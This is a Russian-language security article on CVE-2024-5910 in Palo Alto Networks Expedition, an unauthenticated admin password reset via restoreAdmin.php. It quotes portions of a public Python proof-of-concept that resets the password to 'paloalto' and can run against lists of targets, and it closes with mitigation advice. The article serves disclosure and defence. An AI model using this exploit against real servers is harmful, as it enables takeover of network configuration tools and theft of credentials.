Уязвимость в Palo Alto Networks Expedition
Уязвимость в Palo Alto Networks Expedition
Категория: Программы Теги: Уязвимости Опубликовано: 11 апреля 2025

Уязвимость BDU:2024-06369 (CVE-2024-5910) в Palo Alto Networks Expedition

BDU:2024-06369 (CVE-2024-5910) – это критическая уязвимость (CVSS score: 9.8) в инструменте миграции конфигурации Palo Alto Networks Expedition, затрагивающая версии с 1.2 до 1.2.92. Она связана с отсутствием аутентификации для критически важной функции, позволяющей злоумышленникам с сетевым доступом к Expedition захватить учетную запись администратора.

Технический анализ уязвимости

Expedition содержит скрипт restoreAdmin.php, который позволяет восстановить пароль администратора до значения по умолчанию ("paloalto"). Проблема в том, что этот скрипт доступен без какой-либо аутентификации. Злоумышленник, имеющий доступ к сети, где работает Expedition, может просто отправить GET-запрос к этому скрипту и сбросить пароль администратора.

Условия эксплуатации

  1. Сетевой доступ: Злоумышленник должен иметь сетевой доступ к серверу, на котором работает Expedition. Это может быть внутренняя сеть организации или, в некоторых случаях, доступ через интернет, если панель управления Expedition не защищена должным образом.
  2. Уязвимая версия Expedition: На сервере должна быть установлена уязвимая версия Expedition (от 1.2 до 1.2.91 включительно).
  3. Отсутствие дополнительных мер защиты: Если администратор предпринял дополнительные меры для защиты панели управления Expedition (например, ограничил доступ по IP-адресам или использовал VPN), эксплуатация уязвимости может быть затруднена.

Технический анализ эксплоита

В общем доступе имеется код на Python, который представляет собой Proof-of-Concept (PoC) для эксплуатации BDU:2024-06369 (CVE-2024-5910). Рассмотрим ключевые моменты его работы:

warnings.simplefilter("ignore", InsecureRequestWarning)

ENDPOINT = '/OS/startup/restore/restoreAdmin.php'

Этот блок кода определяет константу ENDPOINT, которая указывает на уязвимый скрипт restoreAdmin.php. Важно отметить, что используется библиотека requests для отправки HTTP-запросов.

def send_request(base_url):
    url = f"{base_url}{ENDPOINT}"
    print(f"Testing URL: {url}")  
    try:
        response = requests.get(url, verify=False, timeout=7) 
        if response.status_code == 200:
            print("✓ Admin password restored to: 'paloalto'\n")
            print("✓ admin panel is now accessable via ==> admin:paloalto creds")
        else:
            print(f"Request failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"Error sending request to {url}") #{e}

Функция send_request формирует URL-адрес уязвимого скрипта и отправляет к нему GET-запрос. Обратите внимание на verify=False, который отключает проверку SSL-сертификата, что может быть небезопасно. Если сервер возвращает код ответа 200, это означает, что пароль администратора успешно сброшен.

Функция main обрабатывает аргументы командной строки, позволяя указать либо один URL-адрес, либо файл со списком URL-адресов для проверки. Это позволяет автоматизировать процесс эксплуатации уязвимости на нескольких серверах.

Последствия успешной эксплуатации

Успешная эксплуатация BDU:2024-06369 (CVE-2024-5910) позволяет злоумышленнику получить полный контроль над Expedition. Это может привести к следующим последствиям:

  • Компрометация конфигурационных секретов и учетных данных, хранящихся в Expedition.
  • Несанкционированное изменение конфигурации сетевых устройств, управляемых Expedition.
  • Использование Expedition для дальнейших атак на инфраструктуру организации.

Способы защиты

  1. Обновление Expedition до актуальной версии: Palo Alto Networks выпустила исправление для этой уязвимости в версии 1.2.92. Обновите Expedition до последней версии, чтобы устранить уязвимость.
  2. Ограничение сетевого доступа к Expedition: Ограничьте доступ к панели управления Expedition только с доверенных IP-адресов или сетей.
  3. Использование надежных паролей: Даже после обновления Expedition рекомендуется сменить пароль администратора на надежный и уникальный.
  4. Мониторинг активности: Внимательно отслеживайте активность в Expedition на предмет подозрительных действий.
  5. Регулярное резервное копирование: Регулярно создавайте резервные копии конфигурации Expedition, чтобы в случае компрометации можно было быстро восстановить систему.
  6. Изоляция: Рассмотрите возможность изоляции Expedition в выделенном VLAN для ограничения потенциального воздействия в случае взлома.
  7. Аудит безопасности: Проведите аудит безопасности Expedition, чтобы выявить другие потенциальные уязвимости.
Алексей Черемных Алексей Черемных
64